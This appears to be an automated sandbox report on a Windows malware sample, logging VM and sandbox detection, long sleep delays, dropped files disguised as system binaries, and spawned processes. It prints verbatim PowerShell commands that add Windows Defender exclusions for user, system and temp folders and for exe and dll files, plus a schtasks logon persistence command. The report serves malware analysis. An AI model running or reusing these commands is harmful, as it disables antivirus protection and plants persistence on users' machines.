Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\YfTokH7RIj.exe TID: 7096	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe TID: 5412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6792	Thread sleep count: 6077 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep count: 3026 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5564	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\services32.exe TID: 808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\services32.exe TID: 4168	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6916	Thread sleep count: 5811 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6364	Thread sleep count: 2670 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3120	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2264	Thread sleep count: 6578 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4856	Thread sleep count: 1608 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe TID: 6652	Thread sleep count: 294 > 30
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe TID: 6652	Thread sleep time: -10290000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep count: 6779 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep count: 1467 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1380	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3436	Thread sleep count: 7506 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3436	Thread sleep count: 657 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep count: 47 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3660	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3600	Thread sleep count: 5914 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3600	Thread sleep count: 2552 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep count: 93 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5744	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Window / User API: threadDelayed 2635	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Window / User API: threadDelayed 5352	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6077	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3026	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5811
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2670
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6578
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6779
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1467
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7506
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 657
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5914
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2552

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D7B0FC rdtsc

0_2_00D7B0FC

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Thread delayed: delay time: 35000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: YfTokH7RIj.exe, 00000000.00000003.700905971.00000000070BD000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: YfTokH7RIj.exe, 00000000.00000002.732501781.000000000713C000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oy
Source: services32.exe, 00000013.00000002.812308593.00000000015CD000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz#u
Source: YfTokH7RIj.exe, 00000000.00000003.700905971.00000000070BD000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareD_2N9618Win32_VideoControllerWTUNSAOAVideoController120060621000000.000000-000.37779.0display.infMSBDAY8PGDSLFPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsU8V_FA62k
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp, fl.exe, 00000007.00000002.764392343.00000000011F8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: services32.exe, 0000000F.00000002.827356686.0000000001396000.00000004.00000020.sdmp, services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll00

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D575E8 FindFirstFileA,		0_2_00D575E8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D576C4 FindFirstFileA,GetLastError,		0_2_00D576C4

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D6E100 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,

0_2_00D6E100

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D7B0FC rdtsc

0_2_00D7B0FC

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\services32.exe	Process token adjusted: Debug
Source: C:\Windows\System32\services32.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"	Jump to behavior
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit	Jump to behavior
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"	Jump to behavior
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"

Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

